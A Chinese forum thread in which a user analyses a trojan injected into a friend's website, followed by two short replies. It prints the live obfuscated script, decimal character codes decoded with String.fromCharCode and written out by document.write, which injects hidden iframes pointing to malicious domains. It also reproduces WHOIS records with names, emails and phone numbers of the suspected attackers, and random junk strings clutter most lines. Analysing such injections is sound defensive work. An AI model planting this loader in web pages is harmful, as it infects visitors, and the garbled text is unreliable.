社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5068阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, "O34 E?ql.  
nFnM9 pdMK  
http://www.areway.cn/?p=175 [LoQYDku  
|UTajEL  
o1AbB?%=  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: l=DF)#>w  
          *,\v|]fc  
<script>t=’60,105,102,114,97,109,101, IO)B3,g  
32,115,114,99,61,104,116,116,112,58,47,47, oE ' P  
102,114,101,101,46,117,45,117,117,117,46,99, 10S I&O  
110,47,101,114,114,111,114,46,104,116,109, ?I+L  
32,119,105,100,116,104,61,49,48,48,32,104, W!{RJWe  
101,105,103,104,116,61,48,62,60,47,105,102, -S$F\%  
114,97,109,101,62′; Xa`Q;J"h  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 5kGniG?T#  
                                                                                                  tZ_'>7)  
<script>t=’60,105,102,114,97,109,101,32,115, ale'-V)5  
114,99,61,104,116,116,112,58,47,47,102,114, Fp\;j\pfw  
101,101,46,117,45,117,117,117,46,99,110,47, #Oka7.yz  
101,114,114,111,114,46,104,116,109,32,119, VN`.*B|9[  
105,100,116,104,61,49,48,48,32,104,101,105, 2KLMFI.F  
103,104,116,61,48,62,60,47,105,102,114,97, ~I|| "$R  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); @KQ>DBWQM  
document.write(t);</script> e=i X]%^  
                                                                                                  >wW{ $  
<html xmlns=” mnm ZO}   
http://www.w3.org/1999/xhtml ] Lv3XMa  
“> )eZK/>L&  
<head> |A&;m}(Mt  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 8$IKQNS  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> H/o_?qK  
<title>首页 - 爱生活家庭网 >@vu;j\*E5  
                                                                                                                                                    b-u@?G|<  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 9nFL70  
转换字符串后的大概内容是(谁点击后果自付): VZ9 p "  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _3Eo{^  
                                                                                                                                  gFR}WBl/  
查询玉米u-uuu.cn的详细信息: )r e<NE&M  
Domain Name: u-uuu.cn f,G*e367:  
ROID: 20070901s10001s64972306-cn [qc1 V%g  
Domain Status: ok ~F"S]  
Registrant Organization: 王雷 X4%uY  
Registrant Name: 王雷 ]?6wU-a  
Administrative Email: czlovexs@126.com 3](hMk,}  
Sponsoring Registrar: 北京万网志成科技有限公司 /.]u%;%r[  
Name Server:ns.yovole.com ?+zFa2J  
Name Server:ns1.yovole.com &5W;E+Pub  
Registration Date: 2007-09-01 17:54 T}fo  
Expiration Date: 2008-09-01 17:54 3x~7N  
最后PING了一下地址 都没有什么…. P~a@{n*8  
                                                                                                x,gk]Cf  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. _dKMBcl)E  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 8T1`9ITl:  
<script language=”javascript” src=” T5:Q_o]  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |Y3w6!$  
> |=0vgwd"S  
这个玉米应该有可能是木马作者的: 9pLe8D  
foafau.info的详细信息: yCQvo(V[F  
Access to INFO WHOIS information is provided to assist persons in OAXA<  
determining the contents of a domain name registration record in the IxbQ6  
Afilias registry database. The data in this record is provided by 7_\G|Zd  
Afilias Limited for informational purposes only, and Afilias does not !v8R(  
guarantee its accuracy.  This service is intended only for query-based $Cz2b/O  
access. You agree that you will use this data only for lawful purposes 4R'CL N |t  
and that, under no circumstances will you use this data to: (a) allow, Ul8HWk[6Iw  
enable, or otherwise support the transmission by e-mail, telephone, or 1KZigeHXI  
facsimile of mass unsolicited, commercial advertising or solicitations oJa}NH   
to entities other than the data recipient’s own existing customers; or #Z1%XCt  
(b) enable high volume, automated, electronic processes that send z|pt)Xl  
queries or data to the systems of Registry Operator, a Registrar, or mG~k f]Y  
Afilias except as reasonably necessary to register domain names or "rB B&l  
modify existing registrations. All rights reserved. Afilias reserves T AG@Ab  
the right to modify these terms at any time. By submitting this query, wV )\M]@  
you agree to abide by this policy. \c2x udU  
Domain ID:D22418703-LRMS cZVx4y%kz  
Domain Name:FOAFAU.INFO \,13mB6  
Created On:20-Nov-2007 16:05:42 UTC m7^f%<l  
Last Updated On:20-Nov-2007 16:05:44 UTC 8?Rp2n*o  
Expiration Date:20-Nov-2008 16:05:42 UTC y8YsS4E^Q  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) "^&H9.z,v  
Status:CLIENT DELETE PROHIBITED _d 6'f8[&  
Status:CLIENT RENEW PROHIBITED f1vD{M ;  
Status:CLIENT TRANSFER PROHIBITED }+@!c%TCx~  
Status:CLIENT UPDATE PROHIBITED iq' PeVo  
Status:TRANSFER PROHIBITED k]p|kutQCy  
Registrant ID:GODA-040110615 jSjC43lh  
Registrant Name:liu hong {0,b[  
Registrant Organization: t?"(Zb  
Registrant Street1:beijing 8\s#law  
Registrant Street2: SJ]6_4=y*  
Registrant Street3: /?;'y,(Q  
Registrant City:beijing fXMY.X>f  
Registrant State/Province: p_I^7 $  
Registrant Postal Code:100000 UF-&L:s[  
Registrant Country:CN v~ SM"ky#  
Registrant Phone:+86.860108888777 Lg<h54X  
Registrant Phone Ext.: # scZP  
Registrant FAX: 4aArxJ  
Registrant FAX Ext.: lp(2"$nQ  
Registrant Email:bbbshiji@163.com '~Y@HRVL@|  
Admin ID:GODA-240110615 B@*b 9  
Admin Name:liu hong kWW2N0~$  
Admin Organization: -=5~h  
Admin Street1:beijing #LR4%}mg  
Admin Street2:  26p[x'W  
Admin Street3: !7DDPJ~  
Admin City:beijing LK DfV  
Admin State/Province:  .2&L.  
Admin Postal Code:100000 ]@ruizb8  
Admin Country:CN 1 ^|#QMT  
Admin Phone:+86.860108888777 Hs)Cf)8u  
Admin Phone Ext.: ?z>J7 }w*=  
Admin FAX: DKf(igw  
Admin FAX Ext.: 5n?P}kca)  
Admin Email:bbbshiji@163.com 4x6n,:;  
Billing ID:GODA-340110615 rfk{$g  
Billing Name:liu hong Q yw@ r  
Billing Organization: 3Y Mqp~4  
Billing Street1:beijing sT;wHtU  
Billing Street2: glLVT i  
Billing Street3: W{-g?)Tou  
Billing City:beijing i.^ytbH  
Billing State/Province: Rq|6d M6H  
Billing Postal Code:100000 loIb}8  
Billing Country:CN vCP[7KhGj  
Billing Phone:+86.860108888777 qb[hKp5K6  
Billing Phone Ext.: L2>e@p\>  
Billing FAX: |Y K,&  
Billing FAX Ext.: Cn/WNCzst&  
Billing Email:bbbshiji@163.com %T]$kF++&  
Tech ID:GODA-140110615 u"&?u+1j  
Tech Name:liu hong hEHd$tH06  
Tech Organization: pl).U#7`  
Tech Street1:beijing H^|TV]^;N  
Tech Street2: ^i|R6oO_5  
Tech Street3: MsXw 8D  
Tech City:beijing nYSe0w  
Tech State/Province: [2-n*a(q  
Tech Postal Code:100000 *k7BE_&*0Z  
Tech Country:CN P<IDb%W  
Tech Phone:+86.860108888777 Bf*>q*%B{  
Tech Phone Ext.: G%sq;XT61  
Tech FAX: E !ndXz 59  
Tech FAX Ext.: 7?yS>(VmT  
Tech Email:bbbshiji@163.com 9)7$UQY  
Name Server:NS27.DOMAINCONTROL.COM AJ%E.+@=r  
Name Server:NS28.DOMAINCONTROL.COM " AUSgVE+h  
Name Server: !~|-CF0z=  
Name Server: S L 5k^|  
Name Server: a U\|ZCH\]  
Name Server: R `ViRJh  
Name Server: PcC@}3  
Name Server: R ABw( b  
Name Server: >eA@s}_8  
Name Server: e@vtJaSu  
Name Server: ]mMJ6n  
Name Server: 9:p-F+  
Name Server: Aax;0qGbH  
                                                                                                          l~"T>=jq3  
接着下载每个文件里面的代码: KAnV%j  
一步一步看.. jh/,G5RM9  
~5+RK16  
YH\9Je%jx  
~yJ2@2I  
qt}M&=}8Q  
kQmkS^R  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八